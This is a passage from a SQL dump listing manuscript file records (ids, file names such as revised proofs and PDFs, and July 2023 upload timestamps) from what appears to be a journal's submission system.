13:16:55',1,3,1),(37401,13887,'13887-Manuscript-2023-07-06-mw8a-ap-team-revised.rar',NULL,'2023-07-06 13:17:23',1,3,1),(37402,13893,'13893-Manuscript-2023-07-06-q21g-ap-team-revised.rar',NULL,'2023-07-06 13:17:50',1,3,1),(37403,13894,'13894-Manuscript-2023-07-06-a2bc-ap-team-revised.rar',NULL,'2023-07-06 13:18:29',1,3,1),(37404,13886,'13886-Manuscript-2023-07-06-rh7b.pdf',NULL,'2023-07-06 13:19:38',1,3,1),(37405,13878,'13878-Manuscript-2023-07-06-vqz1.pdf',NULL,'2023-07-06 13:21:02',1,3,1),(37406,13827,'13827-Manuscript-2023-07-06-yhnk.pdf',NULL,'2023-07-06 13:22:15',1,3,1),(37407,13810,'13810-Manuscript-2023-07-06-1fvn.pdf',NULL,'2023-07-06 13:23:59',1,3,1),(37408,13792,'13792-Manuscript-2023-07-06-jpl8.pdf',NULL,'2023-07-06 13:28:48',1,3,1),(37409,13873,'13873-idcj-Manuscript-proof-submission-2023-07-06.rar',NULL,'2023-07-06 14:12:54',1,3,0),(37410,13856,'13856-jzta-Manuscript-proof-submission-2023-07-06.rar',NULL,'2023-07-06 14:14:35',1,3,0),(37411,13856,'13856-7su3-Manuscript-proof-submission-2023-07-06.rar',NULL,'2023-07-06 14:15:58',1,3,0),(37412,13855,'13855-fp3v-Manuscript-proof-submission-2023-07-06.rar',NULL,'2023-07-06 14:17:23',1,3,0),(37413,13854,'13854-rmfb-Manuscript-proof-submission-2023-07-06.rar',NULL,'2023-07-06 14:18:10',1,3,0),(37414,13846,'13846-6rqw-Manuscript-proof-submission-2023-07-06.rar',NULL,'2023-07-06 14:18:36',1,3,0),(37415,13814,'13814-45cq-Manuscript-proof-submission-2023-07-06.rar',NULL,'2023-07-06 14:19:28',1,3,0),(37416,13813,'13813-pjn8-Manuscript-proof-submission-2023-07-06.rar',NULL,'2023-07-06 14:19:55',1,3,0),(37417,13812,'13812-bxo7-Manuscript-proof-submission-2023-07-06.rar',NULL,'2023-07-06 14:20:22',1,3,0),(37418,13880,'13880-fb8z-Manuscript-proof-submission-2023-07-06.rar',NULL,'2023-07-06 14:22:41',1,3,0),(37419,13872,'13872-275m-Manuscript-proof-submission-2023-07-06.rar',NULL,'2023-07-06 14:22:56',1,3,0),(37420,13887,'13887-Manuscript-2023-07-06-s1lx-graphic-completed.pdf',NULL,'2023-07-06 17:15:17',1,3,0),(37421,13894,'13894-Manuscript-2023-07-06-iw6j-graphic-completed.pdf',NULL,'2023-07-06 17:15:32',1,3,0),(37422,13893,'13893-Manuscript-2023-07-06-g6jn-graphic-completed.pdf',NULL,'2023-07-06 17:15:48',1,3,0),(37423,13895,'13895-Manuscript-2023-07-06-nsl6-graphic-completed.pdf',NULL,'2023-07-06 17:16:02',1,3,0),(37424,13895,'13895-Manuscript-2023-07-07-s3n0.pdf',NULL,'2023-07-07 09:54:38',1,3,1),(37425,13893,'13893-Manuscript-2023-07-07-7u31.pdf',NULL,'2023-07-07 10:02:20',1,3,1),(37426,13887,'13887-Manuscript-2023-07-07-zw8r.pdf',NULL,'2023-07-07 10:05:18',1,3,1),(37427,13894,'13894-Manuscript-2023-07-07-gv2w.pdf',NULL,'2023-07-07 10:06:32',1,3,1),(37428,13880,'13880-Manuscript-2023-07-07-h0ps-ap-team-revised.rar',NULL,'2023-07-07 11:50:05',1,3,1),(37429,13873,'13873-Manuscript-2023-07-07-y7fo-ap-team-revised.rar',NULL,'2023-07-07 11:50:42',1,3,1),(37430,13814,'13814-Manuscript-2023-07-07-x9r4-ap-team-revised.rar',NULL,'2023-07-07 11:51:09',1,3,1),(37431,13872,'13872-Manuscript-2023-07-07-1fbo-ap-team-revised.rar',NULL,'2023-07-07 11:51:41',1,3,1),(37432,13813,'13813-Manuscript-2023-07-07-tnol-ap-team-revised.rar',NULL,'2023-07-07 11:52:13',1,3,1),(37433,13856,'13856-Manuscript-2023-07-07-qfe5-ap-team-revised.rar',NULL,'2023-07-07 11:52:35',1,3,1),(37434,13812,'13812-Manuscript-2023-07-07-j3vc-ap-team-revised.rar',NULL,'2023-07-07 11:53:12',1,3,1),(37435,13855,'13855-Manuscript-2023-07-07-nmex-ap-team-revised.rar',NULL,'2023-07-07 11:53:39',1,3,1),(37436,13846,'13846-Manuscript-2023-07-07-rovk-ap-team-revised.rar',NULL,'2023-07-07 11:54:11',1,3,1),(37437,13854,'13854-Manuscript-2023-07-07-vtq7-ap-team-revised.rar',NULL,'2023-07-07 11:54:41',1,3,1),(37438,13854,'13854-Manuscript-2023-07-07-kf36-ap-team-revised.rar',NULL,'2023-07-07 11:55:14',1,3,0),(37439,13899,'13899-0-Manuscript-2023-07-07.docx',NULL,'2023-07-07 18:44:49',1,1,0),(37441,13901,'13901-0-Manuscript-2023-07-12.docx',NULL,'2023-07-12 09:59:40',1,1,0),(37442,13902,'13902-0-Manuscript-2023-07-12.docx',NULL,'2023-07-12 10:17:57',1,1,0),(37443,13903,'13903-0-Manuscript-2023-07-12.docx',NULL,'2023-07-12 10:22:24',1,1,0),(37444,13904,'13904-0-Manuscript-2023-07-12.docx',NULL,'2023-07-12 10:24:17',1,1,0),(37445,13905,'13905-0-Manuscript-2023-07-12.docx',NULL,'2023-07-12 10:27:05',1,1,0),(37446,13906,'13906-0-Manuscript-2023-07-12.docx',NULL,'2023-07-12 10:37:02',1,1,0),(37447,13907,'13907-0-Manuscript-2023-07-12.docx',NULL,'2023-07-12 10:44:10',1,1,0),(37448,13908,'13908-0-Manuscript-2023-07-12.docx',NULL,'2023-07-12 10:52:26',1,1,0),(37449,13909,'13909-0-Manuscript-2023-07-12.docx',NULL,'2023-07-12 11:02:04',1,1,0),(37450,13901,'13901-lfrb-Manuscript-proof-submission-2023-07-13.docx',NULL,'2023-07-13 14:31:59',1,3,0),(37451,13902,'13902-m0lr-Manuscript-proof-submission-2023-07-13.docx',NULL,'2023-07-13 14:32:42',1,3,0),(37452,13903,'13903-fjsz-Manuscript-proof-submission-2023-07-13.docx',NULL,'2023-07-13 14:33:40',1,3,0),(37453,13904,'13904-mh0a-Manuscript-proof-submission-2023-07-13.docx',NULL,'2023-07-13 14:34:18',1,3,0),(37454,13905,'13905-horw-Manuscript-proof-submission-2023-07-13.docx',NULL,'2023-07-13 14:34:49',1,3,0),(37455,13906,'13906-hr80-Manuscript-proof-submission-2023-07-13.docx',NULL,'2023-07-13 14:35:20',1,3,0),(37456,13907,'13907-c6da-Manuscript-proof-submission-2023-07-13.docx',NULL,'2023-07-13 14:35:53',1,3,0),(37457,13908,'13908-p82w-Manuscript-proof-submission-2023-07-13.docx',NULL,'2023-07-13 14:36:28',1,3,0),(37458,13909,'13909-vk1w-Manuscript-proof-submission-2023-07-13.docx',NULL,'2023-07-13 14:37:18',1,3,0),(37459,13910,'13910-0-Manuscript-2023-07-13.docx',NULL,'2023-07-13 15:50:12',1,1,0),(37460,13911,'13911-0-Manuscript-2023-07-13.docx',NULL,'2023-07-13 15:52:05',1,1,0),(37461,13912,'13912-0-Manuscript-2023-07-13.docx',NULL,'2023-07-13 15:56:35',1,1,0),(37462,13913,'13913-0-Manuscript-2023-07-13.docx',NULL,'2023-07-13 16:40:38',1,1,0),(37463,13914,'13914-0-Manuscript-2023-07-13.docx',NULL,'2023-07-13 16:42:51',1,1,0),(37464,13915,'13915-0-Manuscript-2023-07-13.docx',NULL,'2023-07-13 16:45:12',1,1,0),(37465,13916,'13916-0-Manuscript-2023-07-13.docx',NULL,'2023-07-13 16:46:25',1,1,0),(37466,13906,'13906-Manuscript-2023-07-14-t2u4-ap-team-revised.docx',NULL,'2023-07-14 10:52:27',1,3,0),(37467,13907,'13907-Manuscript-2023-07-14-dnq6-ap-team-revised.docx',NULL,'2023-07-14 10:52:36',1,3,0),(37468,13908,'13908-Manuscript-2023-07-14-laqz-ap-team-revised.docx',NULL,'2023-07-14 10:52:45',1,3,0),(37469,13909,'13909-Manuscript-2023-07-14-kmap-ap-team-revised.docx',NULL,'2023-07-14 10:52:55',1,3,0),(37470,13902,'13902-Manuscript-2023-07-14-x18o-ap-team-revised.docx',NULL,'2023-07-14 10:53:05',1,3,0),(37471,13903,'13903-Manuscript-2023-07-14-e246-ap-team-revised.docx',NULL,'2023-07-14 10:53:15',1,3,0),(37472,13904,'13904-Manuscript-2023-07-14-qblc-ap-team-revised.docx',NULL,'2023-07-14 10:53:25',1,3,0),(37473,13905,'13905-Manuscript-2023-07-14-si3n-ap-team-revised.docx',NULL,'2023-07-14 10:53:34',1,3,0),(37474,13901,'13901-Manuscript-2023-07-14-kmjt-ap-team-revised.docx',NULL,'2023-07-14 10:53:45',1,3,0),(37475,13917,'13917-0-Manuscript-2023-07-14.pdf',NULL,'2023-07-14 11:00:43',1,1,0),(37476,13901,'13901-Manuscript-2023-07-14-spx1-move-pdf-making.pdf',NULL,'2023-07-14 14:50:45',1,3,0),(37477,13905,'13905-Manuscript-2023-07-14-m8d0-move-pdf-making.pdf',NULL,'2023-07-14 14:51:17',1,3,0),(37478,13904,'13904-Manuscript-2023-07-14-qc7x-move-pdf-making.pdf',NULL,'2023-07-14 14:51:49',1,3,0),(37479,13903,'13903-Manuscript-2023-07-14-0d2v-move-pdf-making.pdf',NULL,'2023-07-14 14:52:22',1,3,0),(37480,13902,'13902-Manuscript-2023-07-14-3i64-move-pdf-making.pdf',NULL,'2023-07-14 14:52:52',1,3,0),(37481,13909,'13909-Manuscript-2023-07-14-2r9l-move-pdf-making.pdf',NULL,'2023-07-14 14:53:25',1,3,0),(37482,13908,'13908-Manuscript-2023-07-14-mf31-move-pdf-making.pdf',NULL,'2023-07-14 14:54:11',1,3,0),(37483,13907,'13907-Manuscript-2023-07-14-ui8v-move-pdf-making.pdf',NULL,'2023-07-14 14:54:38',1,3,0),(37484,13906,'13906-Manuscript-2023-07-14-pazd-move-pdf-making.pdf',NULL,'2023-07-14 14:55:10',1,3,0),(37485,13918,'13918-0-Manuscript-2023-07-14.docx',NULL,'2023-07-14 15:41:00',1,1,0),(37486,13919,'13919-0-Manuscript-2023-07-14.docx',NULL,'2023-07-14 15:51:43',1,1,0),(37487,13920,'13920-0-Manuscript-2023-07-14.docx',NULL,'2023-07-14 17:01:08',1,1,0),(37488,13921,'13921-0-Manuscript-2023-07-14.docx',NULL,'2023-07-14 17:05:32',1,1,0),(37489,13922,'13922-0-Manuscript-2023-07-14.docx',NULL,'2023-07-14 17:11:11',1,1,0),(37490,13923,'13923-0-Manuscript-2023-07-14.docx',NULL,'2023-07-14 17:24:46',1,1,0),(37491,13924,'13924-0-Manuscript-2023-07-14.docx',NULL,'2023-07-14 17:38:25',1,1,0),(37492,13925,'13925-0-Manuscript-2023-07-14.docx',NULL,'2023-07-14 17:44:11',1,1,0),(37493,13926,'13926-0-Manuscript-2023-07-14.docx',NULL,'2023-07-14 17:47:28',1,1,0),(37494,13927,'13927-0-Manuscript-2023-07-14.docx',NULL,'2023-07-14 17:52:47',1,1,0),(37495,13814,'13814-Manuscript-2023-07-15-9mx1-move-pdf-making.pdf',NULL,'2023-07-15 11:43:33',1,3,0),(37496,13813,'13813-Manuscript-2023-07-15-k946-move-pdf-making.pdf',NULL,'2023-07-15 11:44:46',1,3,0),(37497,13812,'13812-Manuscript-2023-07-15-0qda-move-pdf-making.pdf',NULL,'2023-07-15 11:45:36',1,3,0),(37498,13846,'13846-Manuscript-2023-07-15-ve7s-move-pdf-making.pdf',NULL,'2023-07-15 11:46:09',1,3,0),(37499,13855,'13855-Manuscript-2023-07-15-3m46-move-pdf-making.pdf',NULL,'2023-07-15 11:47:13',1,3,0),(37500,13872,'13872-Manuscript-2023-07-15-smvc-move-pdf-making.pdf',NULL,'2023-07-15 11:48:26',1,3,0),(37501,13873,'13873-Manuscript-2023-07-15-mi6d-move-pdf-making.pdf',NULL,'2023-07-15 11:49:08',1,3,0),(37502,13880,'13880-Manuscript-2023-07-15-0hb7-move-pdf-making.pdf',NULL,'2023-07-15 11:49:30',1,3,0),(37503,13814,'13814-Manuscript-2023-07-15-a6ez-graphic-completed.pdf',NULL,'2023-07-15 11:55:38',1,3,0),(37504,13813,'13813-Manuscript-2023-07-15-wnla-graphic-completed.pdf',NULL,'2023-07-15 11:55:44',1,3,0),(37505,13880,'13880-Manuscript-2023-07-15-7i86.pdf',NULL,'2023-07-15 12:34:02',1,3,1),(37506,13814,'13814-Manuscript-2023-07-15-rsl3.pdf',NULL,'2023-07-15 12:35:21',1,3,1),(37507,13873,'13873-Manuscript-2023-07-15-vnfh.pdf',NULL,'2023-07-15 12:36:12',1,3,1),(37508,13813,'13813-Manuscript-2023-07-15-4auy.pdf',NULL,'2023-07-15 12:57:08',1,3,1),(37509,13812,'13812-Manuscript-2023-07-15-lshd.pdf',NULL,'2023-07-15 12:59:41',1,3,1),(37510,13855,'13855-Manuscript-2023-07-15-hlm4.pdf',NULL,'2023-07-15 13:06:06',1,3,1),(37511,13846,'13846-Manuscript-2023-07-15-m95c.pdf',NULL,'2023-07-15 13:07:34',1,3,1),(37512,13856,'13856-Manuscript-2023-07-15-1zxl.pdf',NULL,'2023-07-15 13:10:48',1,3,1),(37513,13872,'13872-Manuscript-2023-07-17-dbz1.pdf',NULL,'2023-07-17 09:38:40',1,3,1),(37514,13854,'13854-Manuscript-2023-07-17-pakh.pdf',NULL,'2023-07-17 09:40:09',1,3,1),(37515,13910,'13910-t6aw-Manuscript-proof-submission-2023-07-17.docx',NULL,'2023-07-17 10:38:21',1,3,0),(37516,13911,'13911-ixlu-Manuscript-proof-submission-2023-07-17.docx',NULL,'2023-07-17 10:39:00',1,3,0),(37517,13912,'13912-vlpo-Manuscript-proof-submission-2023-07-17.docx',NULL,'2023-07-17 10:40:58',1,3,0),(37518,13913,'13913-ze78-Manuscript-proof-submission-2023-07-17.docx',NULL,'2023-07-17 10:41:42',1,3,0),(37519,13914,'13914-dt4g-Manuscript-proof-submission-2023-07-17.docx',NULL,'2023-07-17 10:42:07',1,3,0),(37520,13915,'13915-px7i-Manuscript-proof-submission-2023-07-17.docx',NULL,'2023-07-17 10:42:35',1,3,0),(37521,13915,'13915-i4xp-Manuscript-proof-submission-2023-07-17.docx',NULL,'2023-07-17 10:42:37',1,3,0),(37522,13915,'13915-g4p0-Manuscript-proof-submission-2023-07-17.docx',NULL,'2023-07-17 10:42:39',1,3,0),(37523,13916,'13916-30ly-Manuscript-proof-submission-2023-07-17.docx',NULL,'2023-07-17 10:43:04',1,3,0),(37524,13916,'13916-ad8f-Manuscript-proof-submission-2023-07-17.docx',NULL,'2023-07-17 10:43:05',1,3,0),(37525,13906,'13906-Manuscript-2023-07-17-9icr.pdf',NULL,'2023-07-17 13:42:45',1,3,0),(37526,13907,'13907-Manuscript-2023-07-17-372j.pdf',NULL,'2023-07-17 13:43:47',1,3,0),(37527,13908,'13908-Manuscript-2023-07-17-qwj8.pdf',NULL,'2023-07-17 13:44:17',1,3,0),(37528,13909,'13909-Manuscript-2023-07-17-p5ar.pdf',NULL,'2023-07-17 13:44:27',1,3,0),(37529,13902,'13902-Manuscript-2023-07-17-xa3o.pdf',NULL,'2023-07-17 13:44:38',1,3,0),(37530,13903,'13903-Manuscript-2023-07-17-np18.pdf',NULL,'2023-07-17 13:44:48',1,3,0),(37531,13904,'13904-Manuscript-2023-07-17-1vbz.pdf',NULL,'2023-07-17 13:45:05',1,3,0),(37532,13905,'13905-Manuscript-2023-07-17-xc7b.pdf',NULL,'2023-07-17 13:45:16',1,3,0),(37533,13901,'13901-Manuscript-2023-07-17-z2s9.pdf',NULL,'2023-07-17 13:45:27',1,3,0),(37534,13740,'13740-Manuscript-2023-07-17-zksb.pdf',NULL,'2023-07-17 13:45:37',1,3,0),(37536,13907,'13907-Manuscript-2023-07-17-wkth-ap-ame-revised.pdf',NULL,'2023-07-17 15:02:25',1,3,0),(37537,13929,'13929-0-Manuscript-2023-07-17.docx',NULL,'2023-07-17 17:11:27',1,1,0),(37538,13907,'13907-Manuscript-2023-07-17-ozd5.pdf',NULL,'2023-07-17 17:40:40',1,3,0),(37539,13930,'13930-0-Manuscript-2023-07-18.docx',NULL,'2023-07-18 11:12:43',1,1,0),(37540,13931,'13931-0-Manuscript-2023-07-18.docx',NULL,'2023-07-18 11:21:03',1,1,0),(37541,13868,'13868-z2x1-Manuscript-proof-submission-2023-07-18.docx',NULL,'2023-07-18 11:35:04',1,3,0),(37542,13861,'13861-h8o3-Manuscript-proof-submission-2023-07-18.docx',NULL,'2023-07-18 11:41:53',1,3,0),(37543,13867,'13867-l0cq-Manuscript-proof-submission-2023-07-18.docx',NULL,'2023-07-18 11:46:49',1,3,0),(37544,13932,'13932-0-Manuscript-2023-07-18.docx',NULL,'2023-07-18 15:25:27',1,1,0),(37545,13933,'13933-0-Manuscript-2023-07-18.docx',NULL,'2023-07-18 15:27:05',1,1,0),(37546,13934,'13934-0-Manuscript-2023-07-18.docx',NULL,'2023-07-18 15:28:59',1,1,0),(37547,13912,'13912-Manuscript-2023-07-18-3ypj-ap-team-revised.docx',NULL,'2023-07-18 17:36:39',1,3,0),(37548,13911,'13911-Manuscript-2023-07-18-bsie-ap-team-revised.docx',NULL,'2023-07-18 17:36:48',1,3,0),(37549,13910,'13910-Manuscript-2023-07-18-kn36-ap-team-revised.docx',NULL,'2023-07-18 17:36:58',1,3,0),(37550,13916,'13916-Manuscript-2023-07-18-38wu-ap-team-revised.docx',NULL,'2023-07-18 17:37:08',1,3,0),(37551,13915,'13915-Manuscript-2023-07-18-szuk-ap-team-revised.docx',NULL,'2023-07-18 17:37:18',1,3,0),(37552,13914,'13914-Manuscript-2023-07-18-p9dc-ap-team-revised.docx',NULL,'2023-07-18 17:37:26',1,3,0),(37553,13913,'13913-Manuscript-2023-07-18-9jac-ap-team-revised.docx',NULL,'2023-07-18 17:37:38',1,3,0),(37554,13935,'13935-0-Manuscript-2023-07-18.docx',NULL,'2023-07-18 18:19:00',1,1,0),(37555,13936,'13936-0-Manuscript-2023-07-19.docx',NULL,'2023-07-19 10:33:59',1,1,0),(37556,13937,'13937-0-Manuscript-2023-07-19.docx',NULL,'2023-07-19 10:44:33',1,1,0),(37557,13938,'13938-0-Manuscript-2023-07-19.docx',NULL,'2023-07-19 10:50:25',1,1,0),(37558,13939,'13939-0-Manuscript-2023-07-19.docx',NULL,'2023-07-19 10:56:13',1,1,0),(37559,13940,'13940-0-Manuscript-2023-07-19.docx',NULL,'2023-07-19 11:02:44',1,1,0),(37560,13941,'13941-0-Manuscript-2023-07-19.docx',NULL,'2023-07-19 13:42:46',1,1,0),(37561,13942,'13942-0-Manuscript-2023-07-19.docx',NULL,'2023-07-19 14:42:14',1,1,0),(37562,13943,'13943-0-Manuscript-2023-07-19.docx',NULL,'2023-07-19 15:10:46',1,1,0),(37563,13944,'13944-0-Manuscript-2023-07-19.docx',NULL,'2023-07-19 15:47:00',1,1,0),(37564,13945,'13945-0-Manuscript-2023-07-19.docx',NULL,'2023-07-19 17:03:39',1,1,0),(37565,13946,'13946-0-Manuscript-2023-07-19.docx',NULL,'2023-07-19 17:08:43',1,1,0),(37566,13947,'13947-0-Manuscript-2023-07-19.docx',NULL,'2023-07-19 18:17:05',1,1,0),(37567,13948,'13948-0-Manuscript-2023-07-20.docx',NULL,'2023-07-20 09:40:16',1,1,0),(37569,13950,'13950-0-Manuscript-2023-07-20.docx',NULL,'2023-07-20 11:42:09',1,1,0),(37570,13951,'13951-0-Manuscript-2023-07-20.docx',NULL,'2023-07-20 11:46:22',1,1,0),(37571,13952,'13952-0-Manuscript-2023-07-20.docx',NULL,'2023-07-20 12:22:26',1,1,0),(37572,13953,'13953-0-Manuscript-2023-07-20.docx',NULL,'2023-07-20 14:35:48',1,1,0),(37573,13949,'13949-0-Manuscript-2023-07-20.docx','','2023-07-20 00:00:00',1,1,0),(37574,13955,'13955-0-Manuscript-2023-07-21.docx',NULL,'2023-07-21 11:41:33',1,1,0),(37575,13956,'13956-0-Manuscript-2023-07-21.docx',NULL,'2023-07-21 13:35:38',1,1,0),(37576,13957,'13957-0-Manuscript-2023-07-21.docx',NULL,'2023-07-21 13:46:29',1,1,0),(37577,13958,'13958-0-Manuscript-2023-07-21.docx',NULL,'2023-07-21 14:08:04',1,1,0),(37578,13959,'13959-0-Manuscript-2023-07-21.docx',NULL,'2023-07-21 14:22:50',1,1,0),(37579,13960,'13960-0-Manuscript-2023-07-21.docx',NULL,'2023-07-21 15:11:30',1,1,0),(37580,13865,'13865-Manuscript-2023-07-21-hfol-graphic-completed.pdf',NULL,'2023-07-21 16:43:00',1,3,0),(37581,13864,'13864-Manuscript-2023-07-21-a8e6-graphic-completed.pdf',NULL,'2023-07-21 16:45:05',1,3,0),(37582,13863,'13863-Manuscript-2023-07-21-0ay2-graphic-completed.pdf',NULL,'2023-07-21 16:45:35',1,3,0),(37583,13862,'13862-Manuscript-2023-07-21-yav2-graphic-completed.pdf',NULL,'2023-07-21 16:46:10',1,3,0),(37584,13866,'13866-Manuscript-2023-07-21-wz1s-graphic-completed.pdf',NULL,'2023-07-21 16:46:13',1,3,0),(37585,13870,'13870-Manuscript-2023-07-21-ijer-graphic-completed.pdf',NULL,'2023-07-21 16:46:46',1,3,0),(37586,13869,'13869-Manuscript-2023-07-21-sk9e-graphic-completed.pdf',NULL,'2023-07-21 16:46:57',1,3,0),(37587,13961,'13961-0-Manuscript-2023-07-21.docx',NULL,'2023-07-22 01:00:46',1,1,0),(37588,13962,'13962-0-Manuscript-2023-07-22.doc',NULL,'2023-07-22 09:49:54',1,1,0),(37589,13963,'13963-0-Manuscript-2023-07-22.docx',NULL,'2023-07-22 11:02:16',1,1,0),(37590,13964,'13964-0-Manuscript-2023-07-22.docx',NULL,'2023-07-22 11:02:30',1,1,0),(37591,13965,'13965-0-Manuscript-2023-07-22.docx',NULL,'2023-07-22 11:06:06',1,1,0),(37592,13966,'13966-0-Manuscript-2023-07-22.docx',NULL,'2023-07-22 12:07:35',1,1,0),(37593,13967,'13967-0-Manuscript-2023-07-22.docx',NULL,'2023-07-22 21:00:54',1,1,0),(37594,13967,'13967-1-Manuscript-2023-07-22.docx',NULL,'2023-07-22 21:00:54',1,1,0),(37595,13967,'13967-2-Manuscript-2023-07-22.docx',NULL,'2023-07-22 21:00:54',1,1,0),(37596,13967,'13967-3-Manuscript-2023-07-22.docx',NULL,'2023-07-22 21:00:54',1,1,0),(37597,13967,'13967-4-Manuscript-2023-07-22.docx',NULL,'2023-07-22 21:00:54',1,1,0),(37598,13967,'13967-5-Manuscript-2023-07-22.docx',NULL,'2023-07-22 21:00:55',1,1,0),(37599,13967,'13967-6-Manuscript-2023-07-22.docx',NULL,'2023-07-22 21:00:55',1,1,0),(37600,13967,'13967-7-Manuscript-2023-07-22.docx',NULL,'2023-07-22 21:00:55',1,1,0),(37601,13968,'13968-0-Manuscript-2023-07-24.docx',NULL,'2023-07-24 11:52:19',1,1,0),(37602,13969,'13969-0-Manuscript-2023-07-24.docx',NULL,'2023-07-24 11:57:35',1,1,0),(37603,13970,'13970-0-Manuscript-2023-07-24.docx',NULL,'2023-07-24 14:10:34',1,1,0),(37604,13953,'13953-1l4z-Manuscript-proof-submission-2023-07-25.rar',NULL,'2023-07-25 11:06:43',1,3,0),(37605,13777,'13777-g076-Manuscript-proof-submission-2023-07-25.docx',NULL,'2023-07-25 11:57:56',1,3,0),(37606,13953,'13953-Manuscript-2023-07-25-r4nq-ap-team-revised.rar',NULL,'2023-07-25 12:53:09',1,3,1),(37607,13953,'13953-Manuscript-2023-07-25-nuvr-graphic-completed.pdf',NULL,'2023-07-25 14:50:35',1,3,0),(37608,13971,'13971-0-Manuscript-2023-07-25.docx',NULL,'2023-07-26 02:02:57',1,1,0),(37609,13971,'13971-1-Manuscript-2023-07-25.docx',NULL,'2023-07-26 02:02:57',1,1,0),(37610,13972,'13972-0-Manuscript-2023-07-26.docx',NULL,'2023-07-26 15:42:10',1,1,0),(37611,13825,'13825-Manuscript-2023-07-26-ul4r.pdf',NULL,'2023-07-26 15:57:05',1,3,1),(37612,13830,'13830-Manuscript-2023-07-26-gw8d.pdf',NULL,'2023-07-26 15:58:09',1,3,1),(37613,13831,'13831-Manuscript-2023-07-26-brdj.pdf',NULL,'2023-07-26 15:59:28',1,3,1),(37614,13843,'13843-Manuscript-2023-07-26-hko2.pdf',NULL,'2023-07-26 16:02:36',1,3,1),(37615,13820,'13820-Manuscript-2023-07-26-b2wy.pdf',NULL,'2023-07-26 16:40:01',1,3,1),(37616,13823,'13823-Manuscript-2023-07-26-aped.pdf',NULL,'2023-07-26 16:41:22',1,3,1),(37617,13824,'13824-Manuscript-2023-07-26-v4su.pdf',NULL,'2023-07-26 16:42:26',1,3,1),(37618,13829,'13829-Manuscript-2023-07-26-b4p8.pdf',NULL,'2023-07-26 16:43:20',1,3,1),(37619,13832,'13832-Manuscript-2023-07-26-o4pk.pdf',NULL,'2023-07-26 16:44:48',1,3,1),(37620,13816,'13816-Manuscript-2023-07-26-a1be.pdf',NULL,'2023-07-26 16:46:01',1,3,1),(37621,13973,'13973-0-Manuscript-2023-07-27.docx',NULL,'2023-07-27 11:28:46',1,1,0),(37622,13974,'13974-0-Manuscript-2023-07-27.docx',NULL,'2023-07-27 11:38:02',1,1,0),(37623,13898,'13898-jd2o-Manuscript-proof-submission-2023-07-27.rar',NULL,'2023-07-27 11:52:51',1,3,0),(37624,13975,'13975-0-Manuscript-2023-07-27.docx',NULL,'2023-07-27 12:00:30',1,1,0),(37625,13976,'13976-0-Manuscript-2023-07-27.docx',NULL,'2023-07-27 12:06:00',1,1,0),(37626,13977,'13977-0-Manuscript-2023-07-27.docx',NULL,'2023-07-27 12:10:22',1,1,0),(37627,13978,'13978-0-Manuscript-2023-07-27.docx',NULL,'2023-07-27 12:13:52',1,1,0),(37628,13979,'13979-0-Manuscript-2023-07-27.docx',NULL,'2023-07-27 12:14:23',1,1,0),(37629,13980,'13980-0-Manuscript-2023-07-27.docx',NULL,'2023-07-27 13:17:51',1,1,0),(37630,13929,'13929-c326-Manuscript-proof-submission-2023-07-27.rar',NULL,'2023-07-27 14:12:14',1,3,0),(37631,13951,'13951-gkvr-Manuscript-proof-submission-2023-07-27.rar',NULL,'2023-07-27 18:43:56',1,3,0),(37632,13947,'13947-myer-Manuscript-proof-submission-2023-07-27.rar',NULL,'2023-07-27 18:44:15',1,3,0),(37633,13946,'13946-oy0d-Manuscript-proof-submission-2023-07-27.rar',NULL,'2023-07-27 18:44:37',1,3,0),(37634,13945,'13945-08rg-Manuscript-proof-submission-2023-07-27.rar',NULL,'2023-07-27 18:44:58',1,3,0),(37635,13944,'13944-ouq7-Manuscript-proof-submission-2023-07-27.rar',NULL,'2023-07-27 18:46:05',1,3,0),(37636,13935,'13935-89er-Manuscript-proof-submission-2023-07-27.rar',NULL,'2023-07-27 18:46:22',1,3,0),(37637,13934,'13934-96nz-Manuscript-proof-submission-2023-07-27.rar',NULL,'2023-07-27 18:47:08',1,3,0),(37638,13933,'13933-7uh2-Manuscript-proof-submission-2023-07-27.rar',NULL,'2023-07-27 18:47:29',1,3,0),(37639,13932,'13932-td9u-Manuscript-proof-submission-2023-07-27.rar',NULL,'2023-07-27 18:47:57',1,3,0),(37640,13929,'13929-Manuscript-2023-07-28-213z-ap-team-revised.rar',NULL,'2023-07-28 11:45:05',1,3,1),(37641,13898,'13898-Manuscript-2023-07-28-wizl-ap-team-revised.rar',NULL,'2023-07-28 11:45:28',1,3,1),(37642,13981,'13981-0-Manuscript-2023-07-28.docx',NULL,'2023-07-28 13:42:45',1,1,0),(37643,13951,'13951-Manuscript-2023-07-28-1a6p-ap-team-revised.rar',NULL,'2023-07-28 16:41:58',1,3,1),(37644,13947,'13947-Manuscript-2023-07-28-ihds-ap-team-revised.rar',NULL,'2023-07-28 16:43:07',1,3,1),(37645,13945,'13945-Manuscript-2023-07-28-9xr7-ap-team-revised.rar',NULL,'2023-07-28 16:44:14',1,3,1),(37646,13946,'13946-Manuscript-2023-07-28-4le6-ap-team-revised.rar',NULL,'2023-07-28 16:44:47',1,3,1),(37647,13944,'13944-Manuscript-2023-07-28-h4d7-ap-team-revised.rar',NULL,'2023-07-28 16:45:41',1,3,0),(37648,13935,'13935-Manuscript-2023-07-28-12oz-ap-team-revised.rar',NULL,'2023-07-28 16:46:08',1,3,1),(37649,13934,'13934-Manuscript-2023-07-28-xw9z-ap-team-revised.rar',NULL,'2023-07-28 16:46:46',1,3,1),(37650,13933,'13933-Manuscript-2023-07-28-mxl3-ap-team-revised.rar',NULL,'2023-07-28 16:47:26',1,3,1),(37651,13932,'13932-Manuscript-2023-07-28-4hgi-ap-team-revised.rar',NULL,'2023-07-28 16:48:21',1,3,1),(37652,13982,'13982-0-Manuscript-2023-07-28.docx',NULL,'2023-07-28 17:06:53',1,1,0),(37653,13912,'13912-Manuscript-2023-07-28-vmd7.pdf',NULL,'2023-07-28 17:46:54',1,3,0),(37654,13910,'13910-Manuscript-2023-07-28-2hl8.pdf',NULL,'2023-07-28 17:47:06',1,3,0),(37655,13916,'13916-Manuscript-2023-07-28-kti4.pdf',NULL,'2023-07-28 17:47:19',1,3,0),(37656,13915,'13915-Manuscript-2023-07-28-nxg7.pdf',NULL,'2023-07-28 17:47:30',1,3,0),(37657,13913,'13913-Manuscript-2023-07-28-8z2f.pdf',NULL,'2023-07-28 17:47:40',1,3,0),(37658,13809,'13809-ibq0-Manuscript-proof-submission-2023-07-28.rar',NULL,'2023-07-28 17:54:52',1,3,0),(37659,13809,'13809-Manuscript-2023-07-28-2f40-ap-team-revised.rar',NULL,'2023-07-28 18:02:08',1,3,1),(37660,13983,'13983-0-Manuscript-2023-07-29.docx',NULL,'2023-07-29 